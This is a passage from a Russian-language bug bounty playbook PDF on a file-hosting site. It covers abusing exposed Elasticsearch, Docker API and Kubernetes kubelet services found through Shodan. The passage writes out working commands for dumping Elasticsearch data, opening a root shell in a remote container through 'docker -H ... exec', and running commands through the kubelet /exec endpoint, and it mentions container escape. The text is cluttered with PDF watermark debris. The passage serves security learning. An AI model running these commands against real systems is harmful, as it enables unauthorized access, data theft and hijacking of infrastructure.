Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / Баг Баунти PlayBook

.pdf
Скачиваний:
15
Добавлен:
19.04.2024
Размер:
8.44 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

"type" : "long"

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

}, "addressable_type" : { "type" : "text", "fields" : { "keyword" : {

"type" : "keyword", "ignore_above" : 256

}

}

}, "city" : {

"type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256

}

}

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Мы видим, что у нас есть имена полей addressable_type, city и многое другое, которые не отображаются, так как вывод был слишком большим. Чтобы запросить все значения, которые содержат определенное имя поля, используйте следующую команду «/_all/_search?q=_exists:email&pretty=1». Это вернет документы, которые содержат имя поля (столбца), с именем электронной почты, как показано ниже:

{

"took" : 12, "timed_out" : false, "_shards" : { "total" : 110, "successful" : 110, "skipped" : 0,

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

"failed" : 0

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

}, "hits" : {

"total" : 7772, "max_score" : 1.0, "hits" : [

{

"_index" : "address", "_type" : "addressables", "_id" : "19",

"_score" : 1.0, "_source" : { "id" : 19,

"addressable_id" : 55,

"addressable_type" : "FHMatch\\Models\\User", "lang" : "en",

"address1" : null, "city" : "Alpharetta", "state" : "GA", "postal" : "30004", "country" : "US", "lat" : "REDACTED", "lon" : "REDACTED",

"email" : "REDACTED@yahoo.com", "phone" : "REDACTED",

"website" : null,

"timezone" : "America/New_York", "currency" : "USD",

"privacy" : null, "meta" : null,

"created_at" : "2017-09-26 19:42:02", "updated_at" : "2017-09-26 19:42:02", "deleted_at" : null

}

},

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Опять же, Вы можете заменить «_all» на имя индекса для выполнения поиска. конкретно против этой конечной точки.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Вывод

Elastic Search - это просто еще одна база данных, в которой Вы можете хранить и запрашивать информацию. Основная проблема заключается в том, что люди раскрывают неаутентифицированные данные. При неавторизованном доступе к веб-сервису злоумышленники могут легко сбросить всю базу данных.

Docker API

Введение

В старые времена, если Вы разработали кусок кода, он мог нормально работать на Вашем компьютере, но когда Вы помещаете его в другую систему, он полностью выходит из строя. Docker был разработан, чтобы решить эту проблему. Docker - это программная платформа с открытым исходным кодом для создания, развертывания и управления контейнерами виртуализированных приложений на общей операционной системе, с экосистемой сопутствующих инструментов.

Exposed Docker API

Когда Вы устанавливаете докер в системе, он предоставляет API на вашем локальном хосте, и расположен на порту 2375. Этот API можно использовать для взаимодействия с механизмом докера, что в основном, дает Вам право делать все, что Вы пожелаете, без аутентификации. В этих условиях никакая посторонняя сторона не сможет получить доступ к

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

вашему Docker API. Однако, в некоторых случаях, этот API

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

может быть изменен так, чтобы к нему могли обращаться внешние ресурсы. Если сделать это неправильно, то произойдет открытие API докера, как показано в следующем Shodan поиске:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Чтобы подтвердить, что на нужном хосте запущен Docker, Вы можете сделать запрос GET на конечную точку/версию. Произойдет распечатка большого двоичного объекта json, как показано ниже:

{

"Platform": {

"Name": "Docker Engine - Community" },

"Components": [

{

"Name": "Engine", "Version": "18.09.0", "Details": { "ApiVersion": "1.39", "Arch": "amd64",

"BuildTime": "2018-11-07T00:56:41.000000000+00:00", "Experimental": "false",

"GitCommit": "4d60db4", "GoVersion": "go1.10.4",

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

"KernelVersion": "10.0 14393

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

(14393.3204.amd64fre.rs1_release.190830-1500)", "MinAPIVersion": "1.24",

"Os": "windows"

}

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

}

],

"Version": "18.09.0", "ApiVersion": "1.39", "MinAPIVersion": "1.24", "GitCommit": "4d60db4", "GoVersion": "go1.10.4", "Os": "windows", "Arch": "amd64",

"KernelVersion": "10.0 14393 (14393.3204.amd64fre.rs1_release.190830-1500)", "BuildTime": "2018-11-07T00:56:41.000000000+00:00"

}

Как только Вы подтвердите, что Docker API открыт, далее, я обычно перехожу к CLI-версии докера. Из CLI Вы можете выполнить следующую команду, чтобы получить список запущенных в данный момент контейнеров:

docker -H <host>:<port> ps

Как Вы можете видеть на изображении выше, у нас есть один контейнер, работающий на порту. 80 с именем Elegant_easley. Мы можем легко вставить оболочку в этот контейнер, выполнив следующую команду:

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

docker -H <host>:<port> exec -it <container name> /bin/bash

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Как Вы можете видеть на изображении выше, нас перебросили прямо в рут шелл. Там мы можем делать все что угодно, в зависимости от версии докера, и у Вас может быть возможность использовать эксплойт для выхода из контейнера на хост-компьютер. Вы не ограничиваетесь только выталкиванием оболочки в свой докер-контейнер. Вы можете делать и другие вещи, такие как развертывание собственных контейнеров. Эта техника широко использовалась майнерами криптовалюты, которые размещают контейнеры в чужой инфраструктуре.

Вывод

Подавляющее большинство инженеров-программистов используют контейнеры Docker, для развертывания своих приложений. В процессе они могут открыть доступ к своему Docker API, что означает большие неприятности. Злоумышленники могут легко захватить их инфраструктуру, чтобы развернуть собственные контейнеры или, что еще хуже, они могут получить root-доступ к Вашему контейнеру.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

Kubernetes API

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Введение

С появлением докера новые технологии неизбежно разрабатываются вокруг концепции контейнеров. Kubernetes - это оркестрация контейнеров с открытым исходным кодом, система автоматизации развертывания, масштабирования и управления приложениями. Он был изначально разработан Google.

Открытый API Kubernetes

Kubernetes предоставляет REST API без аутентификации на порту 10250. Если разработчики не будут осторожны, этот API может быть доступен в Интернете. Быстрый поиск в Shodan поможет найти кучу этих сервисов.

Как только служба Kubernetes обнаружена, первое, что нужно сделать, — это получить список модулей. отправив запрос GET на конечную точку /pods. Сервер должен ответить что-то типа:

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

{

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

“kind”: “PodList”, “apiVersion”: “v1”, “metadata”: {}, “items”: [

{

“metadata”: {

“name”: “pushgateway-5fc955dd8d-674qn”, “generateName”: “pushgateway-5fc955dd8d-“, “namespace”: “monitoring”,

“selfLink”: “/api/v1/namespaces/monitoring/pods/pushgateway- 5fc955dd8d-674qn”,

“uid”: “d554e035-b759-11e9-814c-525400bdacd2”, “resourceVersion”: “9594”,

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

“creationTimestamp”: “2019-08-05T08:20:07Z”, “labels”: {

“app”: “pushgateway”, “pod-template-hash”: “1975118848”,

“prophet.4paradigm.com/deployment”: “pushgateway” },

“annotations”: { “kubernetes.io/config.seen”: “2019-08- 05T16:20:07.080938229+08:00”, “kubernetes.io/config.source”: “api”, “kubernetes.io/created-by”:

“{\”kind\”:\”SerializedReference\”,\”apiVersion\”:\”v1\”,\”referen

ce\”:{\”kind\”:\”ReplicaSet\”,\”name space\”:\”monitoring\”,\”name\”:\”pushgateway- 5fc955dd8d\”,\”uid\”:\”d552bfb3-b759-11e9-814c- 525400bdacd2\”,\”apiVersion\”:\”extensions\”,\”resourceVersion\” :\”9591\”}}\n”

}, “ownerReferences”: [

{

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

“apiVersion”: “extensions/v1beta1”,

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

“kind”: “ReplicaSet”,

“name”: “pushgateway-5fc955dd8d”,

“uid”: “d552bfb3-b759-11e9-814c-525400bdacd2”, “controller”: true,

“blockOwnerDeletion”: true

}

]

}, “spec”: {

“volumes”: [

{

“name”: “default-token-qgm5l”, “secret”: {

“secretName”: “default-token-qgm5l”, “defaultMode”: 420

}

}

], “containers”: [

{

“name”: “pushgateway”,

“image”: “10.10.0.15:35000/prom/pushgateway:v0.4.1”, “ports”: [

{

“name”: “http”, “containerPort”: 9091, “protocol”: “TCP”

}

]

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Из приведенного выше ответа мы получаем имя пространства имен, имена модулей и имена контейнеров:

● Пространство имен

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

○ мониторинг

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Название модуля

Имя контейнера ○ Пуш-шлюз

С помощью этой информации можно отправить запрос в службу API, которая выполнит заданную команду. Это можно сделать, отправив следующий GET запрос:

curl –insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-

Stream-Protocol-Version: channel.k8s.io” -H “Connection: upgrade” -H

“Upgrade: SPDY/3.1” -X POST “https://<DOMAIN>:<PORT>/exec/<NAMESPACE>/<POD NAME>/<CONTAINER NAME>?command=<COMMAND TO

EXECUTE>&input=1&output=1&tty=1”

После отправки запросов Вы должны получить ответ, аналогичный сообщению ниже: